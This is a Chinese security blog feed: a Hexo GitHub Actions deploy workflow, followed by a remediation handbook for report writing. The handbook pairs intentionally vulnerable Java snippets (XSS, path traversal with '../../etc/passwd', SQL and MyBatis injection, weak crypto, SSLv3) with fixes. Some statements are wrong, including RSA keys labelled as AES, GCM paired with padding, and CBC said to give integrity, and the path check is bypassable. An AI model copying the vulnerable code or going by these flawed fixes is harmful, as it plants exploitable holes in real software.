SpringKill_春纱SpringKillhttps://springkill.github.io/zh_CN自动部署https://springkill.github.io/posts/%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/https://springkill.github.io/posts/%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/Tue, 15 Jul 2025 00:00:00 GMT<h1>自动部署github blog</h1> <pre><code># 工作流名称 name: Deploy Hexo to GitHub Pages # 触发器:在 push 到 main 分支时触发 # workflow_dispatch 允许你从 Actions 页面手动触发此工作流 on: push: branches: - main # 你的 Hexo 源文件所在的分支 workflow_dispatch: # Job 配置 jobs: build-and-deploy: # 运行环境 runs-on: ubuntu-latest # 步骤 steps: # 步骤一:检出你的源文件仓库代码 - name: Checkout 🛎️ uses: actions/checkout@v4 with: # “submodules: 'recursive'” 解决了 Hexo 主题通常作为子模块的问题 submodules: 'recursive' # 步骤二:设置 Node.js 环境 - name: Set up Node.js 🟩 uses: actions/setup-node@v4 with: node-version: '24' # 你可以指定你的项目所需的 Node.js 版本 cache: 'npm' # 缓存 npm 依赖,加快后续构建速度 # 步骤三:安装依赖项 - name: Install Dependencies 📦 run: npm install # 步骤四:生成静态文件 - name: Generate Static Files ⚙️ run: npx hexo generate # 使用 npx 执行本地安装的 hexo-cli # 步骤五:部署到 GitHub Pages - name: Deploy to GitHub Pages 🚀 uses: peaceiris/actions-gh-pages@v4 with: # 刚刚在仓库 Secrets 中创建的 Personal Access Token personal_token: ${{ secrets.HEXO_DEPLOY_TOKEN }} # 要部署到的目标仓库,格式为 &lt;用户名&gt;/&lt;仓库名&gt; # 例如: 'your-username/your-username.github.io' external_repository: springkill/springkill.github.io # Hexo 生成的静态文件默认在 public 目录 publish_dir: ./public # 要推送到的目标分支 publish_branch: master # 对于用户/组织页面,通常是 main 或 master # 部署提交的作者信息 user_name: 'springkill' user_email: '[email protected]' # 部署提交的消息 commit_message: "🚀 Deploy from Hexo source repo @ ${{ github.sha }}" # 清理目标分支,只保留本次部署的文件 keep_files: false </code></pre> 修复建议汇总https://springkill.github.io/posts/%E4%BF%AE%E5%A4%8D%E5%BB%BA%E8%AE%AE%E6%B1%87%E6%80%BB/https://springkill.github.io/posts/%E4%BF%AE%E5%A4%8D%E5%BB%BA%E8%AE%AE%E6%B1%87%E6%80%BB/Thu, 12 Sep 2024 00:00:00 GMT<h1>Web漏洞</h1> <p>主要是为了写报告的时候复制粘贴方便……</p> <h2>反射型XSS</h2> <p><strong>问题描述:</strong> 反射跨站脚本(XSS)是网络应用程序中常见的一种安全漏洞。当攻击者将恶意脚本注入网络应用程序,然后反射给用户时,就会发生这种情况。当应用程序在输出 HTML 内容中包含用户输入而未对其进行适当的消毒或验证时,就会发生这种情况。 攻击者可利用反射 XSS 漏洞在受害者浏览器的上下文中执行恶意脚本,从而可能导致各种安全风险,如窃取 cookie、会话劫持、网页篡改或网络钓鱼攻击。 例如如下代码将用户输入直接拼接到网页中返回给用户:</p> <pre><code>import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class VulnerableServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userInput = request.getParameter("input"); // Vulnerable to XSS response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("&lt;html&gt;"); out.println("&lt;head&gt;&lt;title&gt;Reflection XSS Vulnerability Example&lt;/title&gt;&lt;/head&gt;"); out.println("&lt;body&gt;"); out.println("&lt;h1&gt;Hello, " + userInput + "!&lt;/h1&gt;"); // Vulnerable to XSS out.println("&lt;/body&gt;"); out.println("&lt;/html&gt;"); out.close(); } } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>输入验证和消毒:在向用户显示所有用户输入之前对其进行验证和消毒。这包括确保输入不包含任何 HTML、JavaScript 或其他可执行代码。</li> <li>输出编码:在 HTML 中显示用户输入时对其进行编码,防止浏览器将其解释为可执行代码。使用编程语言或网络框架提供的编码库或框架。</li> <li>内容安全策略(CSP):实施严格的内容安全策略,控制哪些资源(如脚本、样式表、字体)可被网络应用程序加载。通过限制可执行脚本的来源,这有助于减轻 XSS 攻击的影响。</li> <li>使用框架和库:利用可提供内置 XSS 漏洞防护的成熟框架和库。这些工具通常包括自动输入验证和输出编码功能。</li> </ol> <p>例如如下例子,我们使用 Apache Commons Text 库中的 StringEscapeUtils.escapeHtml4() 方法对用户输入进行 HTML 编码,然后再显示给用户。这样可以确保任何潜在的恶意脚本标记或 HTML 内容都会被转义,并以纯文本形式呈现,从而防止 XSS 攻击。:</p> <pre><code>import org.apache.commons.text.StringEscapeUtils; // Using Apache Commons Text library for HTML escaping public class XSSExample { public static void main(String[] args) { // Simulated user input (potentially malicious) String userInput = "&lt;script&gt;alert('XSS Attack!');&lt;/script&gt;"; // Encode user input to prevent XSS String safeOutput = StringEscapeUtils.escapeHtml4(userInput); // Displaying the safe output System.out.println("Safe Output: " + safeOutput); } } </code></pre> <h2>存储型XSS</h2> <p><strong>问题描述:</strong></p> <p><strong>修复建议:</strong></p> <h2>DOM型XSS</h2> <p><strong>问题描述:</strong> DOM型XSS(跨站脚本攻击)是一种通过客户端脚本(通常是JavaScript)在用户的浏览器中执行恶意代码的攻击方式。在DOM型XSS中,攻击者利用网页中的脚本对DOM(文档对象模型)进行操作,以插入恶意脚本。与其他类型的XSS不同,DOM型XSS不需要服务器处理恶意数据;恶意脚本是在浏览器端执行的,通常是因为页面脚本不正确地处理用户输入导致的。这种攻击能够盗取用户的会话、修改网页内容或进行其他恶意行为。 <strong>修复建议:</strong></p> <ol> <li>对用户输入进行适当的验证和编码:确保所有用户输入在插入DOM之前都经过适当的清理和转义。避免将不可信的输入直接用于DOM操作。</li> <li>使用安全的API:尽量使用不会解析HTML的安全API,如textContent而不是innerHTML,以及使用Element.setAttribute来设置属性值,而不是直接操作属性。</li> <li>内容安全策略(CSP):实施合适的内容安全策略,特别是限制执行内联JavaScript和未经授权的外部脚本。</li> <li>利用框架的防护功能:使用现代Web框架(如React, Angular, Vue等)提供的XSS防护机制。这些框架通常会自动处理许多潜在的XSS攻击。</li> </ol> <h2>目录遍历</h2> <p><strong>问题描述:</strong> 目录遍历(又称路径遍历)是一种安全漏洞,攻击者利用这种漏洞可以访问存储在服务器文件系统中,应用程序目标目录之外的文件和目录。通过构造包含如“../”(向上导航)的输入,攻击者可以操控应用程序来访问本不应该被访问的文件系统路径。这可能导致敏感信息泄露,例如配置文件、密码文件等,或者允许攻击者修改系统文件或执行恶意代码,对系统安全构成严重威胁。 例如下列代码,filePath变量由外部传入,如传入"../../etc/passwd"类似字段,那么可能访问到不应该被访问的系统文件:</p> <pre><code>public class DirectoryTraversalVulnerable { public byte[] readFile(String filePath) throws IOException { File file = new File(filePath); FileInputStream fis = new FileInputStream(file); byte[] data = new byte[(int) file.length()]; fis.read(data); fis.close(); return data; } } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>输入验证:对所有输入路径进行严格验证。拒绝或移除输入中的任何尝试访问当前目录之外资源的尝试,如使用正则表达式过滤掉“../”等序列。</li> <li>使用安全的API:使用文件访问相关的安全API,确保API逻辑中已经考虑并处理了目录遍历的风险。</li> <li>使用白名单:创建并维护一个允许访问的文件路径白名单,确保只有白名单上的文件才能被访问。</li> <li>权限最小化:限制应用程序的文件系统访问权限,仅允许访问必要的文件和目录,减少安全漏洞带来的潜在风险。</li> <li>错误处理:正确处理文件访问错误,避免通过错误信息泄露服务器文件结构或敏感信息。</li> </ol> <p>例如如下代码,使用basePath定义了一个安全的基础目录,所有的文件访问都限定在这个目录或其子目录内。使用File.getCanonicalPath()方法可以解析出绝对路径,并检查该路径是否以指定的安全基路径开始。如果尝试访问其他目录,系统会抛出安全异常,从而防止了目录遍历攻击。</p> <pre><code>public class DirectoryTraversalSafe { private final String basePath = "/var/data/appfiles"; // 安全基路径 public byte[] readFile(String filePath) throws IOException { File file = new File(basePath, filePath); if (!file.getCanonicalPath().startsWith(basePath)) { throw new SecurityException("Attempted directory traversal attack"); } FileInputStream fis = new FileInputStream(file); byte[] data = new byte[(int) file.length()]; fis.read(data); fis.close(); return data; } } </code></pre> <h2>SQL注入</h2> <p><strong>问题描述:</strong> SQL注入是一种安全漏洞,攻击者通过在SQL查询中注入恶意的SQL代码,从而能够操控数据库。这种攻击可以让攻击者绕过身份验证、窃取、修改或删除数据。SQL注入通常发生在应用程序使用用户输入来构造SQL查询时,如果没有适当的输入处理或参数化查询,就会允许攻击者注入恶意的SQL代码。这种漏洞可能导致数据泄露、数据丢失和其他严重的后果。 例如如下代码直接将用户输入拼接到SQL语句中:</p> <pre><code>public class SqlInjectionVulnerable { public void getUser(String username) { Connection conn = null; Statement stmt = null; try { conn = DriverManager.getConnection("jdbc:mysql://localhost/testdb", "user", "password"); stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username = '" + username + "'"); while (rs.next()) { // 处理结果 } } catch (SQLException e) { e.printStackTrace(); } finally { try { if (stmt != null) stmt.close(); } catch (SQLException e) { } try { if (conn != null) conn.close(); } catch (SQLException e) { } } } } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>参数化查询:使用参数化查询是防止SQL注入的最有效手段。参数化查询确保了SQL语句的结构不会因传入的数据而改变。</li> <li>使用预编译语句:预编译语句(例如在Java中的PreparedStatement)与参数化查询类似,可以有效防止SQL注入,因为它们将SQL语句的结构与数据分开处理。</li> <li>输入验证:对所有用户输入进行验证,拒绝任何可疑的输入。虽然这不能单独防止SQL注入,但可以减少易受攻击的攻击面。</li> <li>使用ORM框架:对象关系映射(ORM)框架如Hibernate或JPA通常会使用参数化查询和其他安全措施,这可以帮助减少直接SQL注入的风险。</li> <li>最小权限原则:确保数据库账户仅具有执行必要操作的权限,这可以减少在SQL注入攻击成功时可被攻击者利用的数据。</li> </ol> <p>例如如下代码使用PreparedStatement和设置参数,有效地防止了SQL注入的可能性:</p> <pre><code>public class SqlInjectionSafe { public void getUser(String username) { Connection conn = null; PreparedStatement pstmt = null; try { conn = DriverManager.getConnection("jdbc:mysql://localhost/testdb", "user", "password"); pstmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?"); pstmt.setString(1, username); ResultSet rs = pstmt.executeQuery(); while (rs.next()) { // 处理结果 } } catch (SQLException e) { e.printStackTrace(); } finally { try { if (pstmt != null) pstmt.close(); } catch (SQLException e) { } try { if (conn != null) conn.close(); } catch (SQLException e) { } } } } </code></pre> <h2>SQL注入(Mybatis)</h2> <p><strong>问题描述:</strong> 在Mybatis中,使用${}符号来进行变量的替换是一种常见做法。这种替换会直接将变量的值嵌入到SQL语句中,而不会像#{}那样进行预处理和参数绑定。虽然${}的使用可以提供灵活的动态SQL支持,但它也带来了显著的安全隐患,尤其是在处理不可信的用户输入时。如果直接将用户输入通过${}嵌入到SQL语句中,攻击者可以通过构造特殊的输入值来改变SQL语句的结构,执行非法的数据库操作,从而导致SQL注入漏洞。这种漏洞使得攻击者可能读取未授权的数据、篡改数据甚至完全破坏数据库,对系统安全造成严重威胁。 例如如下的配置文件中使用了${}来拼接sql语句:</p> <pre><code>&lt;mapper namespace="com.example.mapper.UserMapper"&gt; &lt;select id="findUserByUsername" resultType="com.example.model.User"&gt; SELECT * FROM users WHERE username = '${username}' &lt;/select&gt; &lt;/mapper&gt; </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>避免使用${}处理用户输入:对于所有的用户输入,避免直接通过${}进行SQL语句中的变量替换。使用${}时,应仅限于那些不由外部用户控制的、内部可信的变量。</li> <li>使用#{}进行参数绑定:对于需要动态插入到SQL语句中的数据,应使用Mybatis的#{}占位符。这种方式会通过预编译的SQL语句和参数绑定来处理变量,有效预防SQL注入攻击。</li> <li>输入验证和清理:在将用户输入用于数据库查询之前,应对其进行严格的验证和清理。确保输入值符合预期的格式,并限制其长度和范围,以减少被恶意利用的可能性。</li> <li>使用Mybatis动态SQL能力:当需要构建复杂的动态SQL时,利用Mybatis提供的动态SQL功能,如&lt;choose&gt;, &lt;if&gt;, &lt;when&gt;, &lt;otherwise&gt;等标签,而不是手动拼接SQL字符串。</li> </ol> <p>如下代码中使用了#{}进行参数接受,防止sql注入的产生:</p> <pre><code>&lt;mapper namespace="com.example.mapper.UserMapper"&gt; &lt;select id="findUserByUsername" parameterType="string" resultType="com.example.model.User"&gt; SELECT * FROM users WHERE username = #{username} &lt;/select&gt; &lt;/mapper&gt; </code></pre> <h2>命令注入</h2> <p><strong>问题描述</strong>: 命令注入是一种安全漏洞,发生在应用程序将不可信的用户输入作为系统命令的一部分执行时。攻击者通过在输入中嵌入恶意命令或参数,利用这种漏洞来执行任意系统命令,这可能导致数据泄露、系统被控制、以及其他安全风险。这种漏洞通常出现在应用程序没有正确清理或验证用户输入时,尤其是在使用如Runtime.exec()、ProcessBuilder等在Java中执行系统命令的API时。 <strong>修复建议:</strong></p> <ol> <li>避免直接执行用户输入:尽可能不要直接将用户输入用于系统命令。如果必须这样做,确保对输入进行严格的验证和清理。</li> <li>使用安全的API替代直接命令执行:使用参数化或安全的API,如Java中的ProcessBuilder,并且将命令和参数严格分离。</li> <li>白名单验证:创建一个允许的命令和参数的白名单,只有经过验证的命令和参数才能被执行。</li> <li>最小权限原则:运行应用程序的系统用户应具有最小的必要权限,防止恶意命令对系统造成重大影响。</li> <li>使用安全库和工具:考虑使用现有的安全库或工具来处理用户输入,减少自行实现清理和验证的风险。</li> </ol> <h2>服务器请求伪造SSRF</h2> <p><strong>问题描述:</strong> 服务器请求伪造(Server-Side Request Forgery,SSRF)是一种网络攻击,其中攻击者能够迫使服务器端应用程序对攻击者指定的内部或外部网络发起请求。这种攻击通常是通过利用应用程序中的一个功能,该功能通过用户提供的URL从服务器上下载数据或与之交互。如果应用程序未能适当验证用户提供的URL,攻击者就可能利用这个功能来访问通常无法从外部访问的服务,如位于防火墙后面的内部服务,或者利用服务器与其他服务的信任关系来发起攻击,从而绕过IP白名单、进行端口扫描等。 <strong>修复建议:</strong></p> <ol> <li>验证和过滤输入:确保所有用户提供的URL都经过严格的验证和过滤,以确保它们符合预期的格式,并且指向合法的目标地址。可以使用允许列表来限制可访问的协议和域名。</li> <li>限制请求目标:应用程序应限制可通过服务器发起请求的目标地址和端口,避免访问敏感或私有网络资源。</li> <li>使用安全库处理URL:使用安全的库来处理和解析URL,而不是自己构建请求逻辑,以避免引入安全漏洞。</li> <li>实施适当的超时和重试策略:为所有出站请求实施适当的超时和重试策略,以避免服务拒绝(DoS)攻击。</li> <li>使用代理服务器:通过代理服务器转发所有出站请求,可以提供额外的过滤和审计功能,同时隐藏服务器的真实IP地址。</li> </ol> <p>如下列代码使用isValidUrl方法来验证输入的URL是否合法,确保只有预期的、受信任的地址和协议被允许,从而避免了SSRF漏洞:</p> <pre><code>import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; public class SsrfSafeExample { public String fetchUrlContent(String urlString) throws Exception { URL url = new URL(urlString); // 验证URL是否符合预期的目标地址和协议 if (!isValidUrl(url)) { throw new IllegalArgumentException("Invalid URL provided"); } HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); StringBuilder response = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); return response.toString(); } private boolean isValidUrl(URL url) { // 实现URL验证逻辑,例如检查主机名和协议是否在允许列表中 // 示例仅供说明,具体逻辑根据应用需求定制 String host = url.getHost(); String protocol = url.getProtocol(); return "http".equals(protocol) &amp;&amp; ("example.com".equals(host) || "api.example.com".equals(host)); } } </code></pre> <h2>代码注入</h2> <p><strong>问题描述:</strong> 代码注入是指攻击者通过未验证或不安全的输入,直接将恶意代码注入应用程序并执行的漏洞。这种攻击通常发生在应用程序将用户提供的数据直接传递给解释器或执行器(如<code>eval()</code>、<code>Runtime.exec()</code>等),导致攻击者能够执行任意代码或命令。代码注入的影响包括篡改数据、泄露敏感信息、甚至完全控制系统。</p> <p><strong>修复建议:</strong></p> <ol> <li><strong>避免使用动态代码执行</strong>:尽可能避免使用像<code>eval()</code>、<code>Runtime.exec()</code>或其他类似的动态代码执行方法。如果必须使用,确保对输入进行严格的验证和清理。</li> <li><strong>输入验证和清理</strong>:对所有用户输入进行严格的验证和清理,确保输入数据符合预期的格式,并拒绝或移除危险的字符或表达式。</li> <li><strong>使用参数化输入</strong>:在构建命令或脚本时,使用参数化方法,避免将用户输入直接拼接到代码或命令中。</li> <li><strong>最小权限原则</strong>:确保执行代码的环境和用户账户有最小的权限,防止恶意代码执行造成更大的影响。</li> <li><strong>安全开发框架</strong>:使用安全的开发框架,这些框架通常会提供防御代码注入的功能和机制,如Spring、Struts等。</li> </ol> <h2>开放重定向</h2> <p><strong>问题描述:</strong> 开放重定向漏洞使得攻击者能够构造特定的URL,将用户重定向到恶意站点,从而进行钓鱼攻击、劫持会话或其他形式的社会工程学攻击。攻击者通常会利用应用程序中允许未经验证的外部URL进行重定向的点来实施此类攻击。这种漏洞通常出现在应用程序使用未经验证的用户输入来动态构造重定向URL时。 <strong>修复建议:</strong></p> <ol> <li><strong>严格验证和白名单</strong>:验证和限制允许重定向到的URL,确保它们只能指向受信任的站点或应用内部的有效URL。可以使用白名单技术来限制重定向目标的范围。</li> <li><strong>避免使用用户可控制的URL</strong>:尽可能避免使用用户控制的输入来构造重定向URL。如果必须使用,确保对输入进行严格的验证和清理,以移除恶意重定向的可能性。</li> <li><strong>使用安全的重定向方法</strong>:根据具体的应用需求,考虑使用框架或库提供的安全重定向方法,这些方法通常能够处理安全性问题,如Spring MVC中的RedirectAttributes来安全地重定向。</li> <li><strong>记录和监控</strong>:记录所有重定向操作,包括目标URL和源URL,以便及时检测和响应可能的恶意行为。</li> <li><strong>教育和培训</strong>:提高开发团队对开放重定向漏洞的认识和理解,包括如何识别、预防和修复此类问题。</li> </ol> <h1>加密相关</h1> <h2>不安全的加密模式</h2> <p><strong>问题描述:</strong> 块密码操作模式是一种算法,用来描述如何重复地应用密码的单块操作,以安全地转换大于块的数据量。一些操作模式包括电子代码本 (ECB)、密码块链 (CBC)、密码反馈 (CFB) 和计数器 (CTR)。 ECB 模式本质上较弱,因为它会对相同的明文块生成一样的密文。CBC 模式容易受到密文填塞攻击。CTR 模式由于没有这些缺陷,使之成为一个更好的选择。 例如以下代码使用了AES的ECB加密模式:</p> <pre><code>SecretKeySpec key = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding", "BC"); cipher.init(Cipher.ENCRYPT_MODE, key); </code></pre> <p><strong>修复建议:</strong> 加密大于块的数据时,避免使用 ECB 和 CBC 操作模式。CBC 模式效率较低,并且在和 SSL 一起使用时会造成严重风险 [1]。请改用 CCM (Counter with CBC-MAC) 模式,或者如果更注重性能,则使用 GCM(Galois/Counter Mode)模式(如可用)。 如下列代码使用了GCM模式:</p> <pre><code>SecretKeySpec key = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/GCM/PKCS5Padding", "BC"); cipher.init(Cipher.ENCRYPT_MODE, key); </code></pre> <h2>不安全的加密算法</h2> <p><strong>问题描述:</strong> 使用不安全的加密算法可以使敏感数据容易被破解,从而导致数据泄露和安全漏洞。过时的或弱的加密算法(如DES和MD5)因其较低的密钥长度和已知的弱点,不能提供足够的保护,容易受到暴力破解或密码攻击。此外,使用不正确的加密模式和填充机制也可能导致加密方案的安全性降低。随着计算能力的增强,一些曾经被认为是安全的算法现在也可能变得容易被破解。 如下列代码使用了不安全的DES算法:</p> <pre><code>import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; public class UnsafeEncryptionExample { public static void main(String[] args) throws Exception { KeyGenerator keyGenerator = KeyGenerator.getInstance("DES"); SecretKey secretKey = keyGenerator.generateKey(); Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, secretKey); String plainText = "Sensitive Information"; byte[] encryptedText = cipher.doFinal(plainText.getBytes()); System.out.println("Encrypted: " + new String(encryptedText)); } } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>使用强加密算法:采用行业认可的强加密标准,如AES(高级加密标准),并使用足够长的密钥(如AES-256)。</li> <li>选择合适的加密模式:使用如CBC(密码块链接)或GCM(加密计数器模式)等安全的加密模式,它们可以提供完整性和认证。</li> <li>使用安全的库:利用成熟的加密库(如Java的javax.crypto库或第三方库Bouncy Castle)来实现加密和解密,避免自己实现加密算法。</li> <li>定期更新和审查加密措施:随着新的安全漏洞和攻击方法的出现,定期更新和审查使用的加密算法和实践,确保它们符合当前的安全标准。</li> </ol> <p>下列代码中使用了AES的GCM模式进行加密:</p> <pre><code>import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import java.security.SecureRandom; public class SecureGcmEncryptionExample { public static void main(String[] args) throws Exception { KeyGenerator keyGenerator = KeyGenerator.getInstance("AES"); keyGenerator.init(256); // 使用256位长的密钥 SecretKey secretKey = keyGenerator.generateKey(); final int GCM_IV_LENGTH = 12; // GCM推荐的IV长度为12字节 final int GCM_TAG_LENGTH = 128; // GCM推荐的认证标签长度为128位 byte[] iv = new byte[GCM_IV_LENGTH]; new SecureRandom().nextBytes(iv); GCMParameterSpec gcmParameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv); Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); cipher.init(Cipher.ENCRYPT_MODE, secretKey, gcmParameterSpec); String plainText = "Sensitive Information"; byte[] encryptedText = cipher.doFinal(plainText.getBytes()); System.out.println("Encrypted securely with GCM: " + java.util.Base64.getEncoder().encodeToString(encryptedText)); } } </code></pre> <h2>密钥大小不足(RSA)</h2> <p><strong>问题描述:</strong> RSA加密是一种广泛使用的非对称加密算法,其安全性在很大程度上依赖于密钥的长度。较小的RSA密钥长度(如1024位)虽然在过去被认为是安全的,但随着计算能力的提升,这些较小的密钥现在更容易受到攻击,如分解大整数的攻击。如果RSA密钥长度不足,加密系统可能面临安全风险,包括密钥被破解和敏感数据泄露。例如,1024位RSA密钥的破解已在理论和实践中被证明是可行的,而更长的密钥(如2048位或更高)则提供了更强的安全保障。 如下列代码使用了1024位的AES密钥进行加密:</p> <pre><code>import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.NoSuchAlgorithmException; public class WeakRsaKeyExample { public static KeyPair generateWeakRSAKeyPair() throws NoSuchAlgorithmException { KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA"); keyPairGen.initialize(1024); // 不推荐使用的较短密钥长度 return keyPairGen.generateKeyPair(); } public static void main(String[] args) throws Exception { KeyPair weakKeyPair = generateWeakRSAKeyPair(); System.out.println("Generated weak RSA key pair with key size: " + weakKeyPair.getPrivate().getEncoded().length * 8 + " bits"); } } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>使用建议的最小密钥长度:对于RSA加密,目前推荐使用至少2048位的密钥长度,对于需要长期安全的应用,甚至建议使用3072位或4096位。</li> <li>定期更新密钥:除了使用足够长的密钥外,定期更换密钥也是保持加密强度的重要措施。</li> <li>使用安全的密钥生成方法:使用强随机数生成器和经过验证的库来生成RSA密钥,确保密钥的随机性和安全性。</li> </ol> <p>如下列代码使用了2048位的AES密钥进行加密:</p> <pre><code>import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.NoSuchAlgorithmException; public class StrongRsaKeyExample { public static KeyPair generateStrongRSAKeyPair() throws NoSuchAlgorithmException { KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("RSA"); keyPairGen.initialize(2048); // 推荐使用的较长密钥长度 return keyPairGen.generateKeyPair(); } public static void main(String[] args) throws Exception { KeyPair strongKeyPair = generateStrongRSAKeyPair(); System.out.println("Generated strong RSA key pair with key size: " + strongKeyPair.getPrivate().getEncoded().length * 8 + " bits"); } } </code></pre> <h2>硬编码的密码</h2> <p><strong>问题描述:</strong> 硬编码的密码是指在应用程序的源代码、配置文件或其他内部结构中直接以明文形式存储的密码。这种做法极大地降低了系统的安全性,因为任何能够访问到这些信息的人(例如,通过源代码管理系统、文件系统访问权限或者通过其他软件漏洞)都能够获得这些敏感信息。此外,硬编码的密码很难进行更改,这意味着一旦密码泄露,整个系统的安全性就会长期受到影响。这种做法违反了安全最佳实践,特别是最小权限原则和密码管理策略。 <strong>修复建议:</strong> 绝不能对密码进行硬编码。通常情况下,应对密码进行模糊处理,并在外部资源文件中进行管理。在系统中的任何位置采用明文的形式存储密码,会造成任何有足够权限的人均可读取和无意中误用密码。 采用其他的方式存储密码,例如将敏感信息,如密码,存储在环境变量中。这样,应用程序可以在运行时读取这些值,而不需要在代码中硬编码。</p> <h2>硬编码的加密密钥</h2> <p><strong>问题描述:</strong> 在软件开发中,硬编码加密密钥是指将加密密钥直接嵌入到源代码或配置文件中的做法。这种方法容易导致密钥泄露,因为任何能够访问代码或配置文件的人都可以获取到密钥。此外,一旦密钥泄露,修改密钥将需要更新和重新部署应用程序,这会增加维护成本和安全风险。 <strong>修复建议:</strong></p> <ol> <li>环境变量或外部存储:将密钥存储在环境变量中或使用外部安全存储(如密钥管理服务)。</li> <li>密钥旋转和管理:实现密钥旋转机制,定期更换密钥,并确保旧密钥可以安全地退役。</li> <li>加密配置文件:如果必须在配置文件中保存密钥,应确保该文件被加密,且加密密钥安全管理。</li> <li>访问控制和审计:对存储密钥的系统实施严格的访问控制和审计,确保只有授权用户可以访问密钥。</li> <li>使用密钥派生函数:如果适用,使用密钥派生函数(如PBKDF2、Argon2)从密码生成密钥,而非使用硬编码密钥。</li> </ol> <h2>硬编码的API凭据</h2> <p><strong>问题描述:</strong> 硬编码的API凭据指的是在应用程序的源代码中直接编写API密钥、密码或其他认证令牌。这种做法极大地降低了安全性,因为任何能够查看源代码的人(例如开发人员、攻击者通过源代码泄露等方式)都能够获得这些敏感信息。此外,一旦这些凭据被硬编码,更换凭据变得非常困难,因为它们可能被分散在多个文件或代码库中。如果这些凭据被泄露,可能导致未授权访问、数据泄露、财务损失或其他安全事件。 <strong>修复建议:</strong></p> <ol> <li>环境变量:将敏感凭据存储在环境变量中。这样,凭据不需要直接写在代码中,而是可以在运行时从环境中读取。</li> <li>配置文件:使用配置文件存储凭据,并确保这些配置文件不会被包含在版本控制系统中。对于生产环境,应加密这些配置文件。</li> <li>密钥管理服务:利用专门的密钥管理服务,如AWS Secrets Manager、Azure Key Vault等,来安全地存储和管理敏感凭据。这些服务还提供了访问控制和审计功能,可以追踪谁何时访问了凭据。</li> <li>权限最小化:确保使用凭据的应用程序或服务只有执行其必要功能所需的最小权限。</li> <li>定期轮换凭据:定期更换API密钥和密码,以减少被泄露凭据所带来的风险。</li> </ol> <h2>配置文件中的明文密码</h2> <p><strong>问题描述:</strong> 在软件配置文件中以明文形式存储密码是一种常见的安全隐患。这种做法会使密码容易被任何有权限访问这些文件的人员发现,包括恶意用户。这不仅违反了数据保护的最佳实践,比如加密存储敏感信息,而且一旦这些配置文件被泄露,就会导致严重的安全风险,比如未授权访问和数据泄露。此外,由于配置文件通常需要在多个环境中同步,这进一步增加了敏感信息泄露的可能性。 <strong>修复建议:</strong></p> <ol> <li>环境变量:使用环境变量存储敏感信息,如密码。这允许应用程序在运行时读取这些信息,而不将其硬编码在文件中。</li> <li>密钥管理系统:使用专门的密钥管理系统来存储和管理敏感信息,如AWS Secrets Manager、HashiCorp Vault等。这些系统为存储、访问和管理敏感数据提供了额外的安全层。</li> <li>加密配置文件:如果必须在配置文件中存储敏感信息,确保对这些信息进行加密。只有应用程序在运行时才能解密这些信息。</li> <li>配置管理工具:使用配置管理工具,如Spring Cloud Config、Consul等,它们支持从外部源加载配置信息,并且可以提供加密和安全访问机制。</li> </ol> <h2>测试文件中的明文密码</h2> <p><strong>问题描述:</strong> 在测试文件或代码中硬编码明文密码是一种常见的不安全做法。尽管这些密码可能仅用于测试目的,但将它们存储为明文可能会带来多种安全风险。例如,如果测试代码或数据被意外地包括在生产环境中,或者源代码库被未经授权的个人访问,这些硬编码的密码可能会被泄露。此外,测试环境往往不如生产环境安全,使用明文密码增加了被攻击的可能性。 <strong>修复建议:</strong></p> <ol> <li>使用环境变量:在测试环境中,将敏感凭据存储在环境变量中,而不是直接在测试脚本或配置文件中硬编码。</li> <li>加密配置文件:如果必须在配置文件中使用密码,应确保这些文件被适当加密,并且加密密钥被安全地管理。</li> <li>使用密钥管理系统:利用如AWS Secrets Manager、Azure Key Vault等密钥管理服务来存储和访问测试环境中使用的凭据。</li> <li>模拟身份验证:在可能的情况下,尽量避免在测试中使用实际的用户账户和密码。可以使用模拟(Mocking)技术来模拟身份验证过程。</li> </ol> <h1>协议相关</h1> <h2>不安全的传输协议</h2> <p><strong>问题描述:</strong> SSL (Secure Sockets Layer) 和早期的 TLS (Transport Layer Security) 版本,如 SSLv2、SSLv3、TLSv1.0 和 TLSv1.1,已被证实包含多个安全漏洞,这些漏洞使得这些协议不再安全。这些协议的缺陷包括诸如BEAST、POODLE、CRIME等攻击,这些攻击能够解密使用这些协议加密的传输数据。因此,使用这些旧协议传输敏感数据极其危险,可能导致数据泄露、会话劫持和其他安全威胁。现代加密通信应该使用更新的协议版本,如TLSv1.2或TLSv1.3,它们提供了更强的加密算法和增强的安全性。 例如如下代码使用了不安全的SSLv3作为通信协议:</p> <pre><code>public class InsecureSSLExample { public static void main(String[] args) throws Exception { SSLContext context = SSLContext.getInstance("SSLv3"); context.init(null, null, null); SSLSocketFactory factory = context.getSocketFactory(); SSLSocket socket = (SSLSocket) factory.createSocket("example.com", 443); // 不安全的连接示例 } } </code></pre> 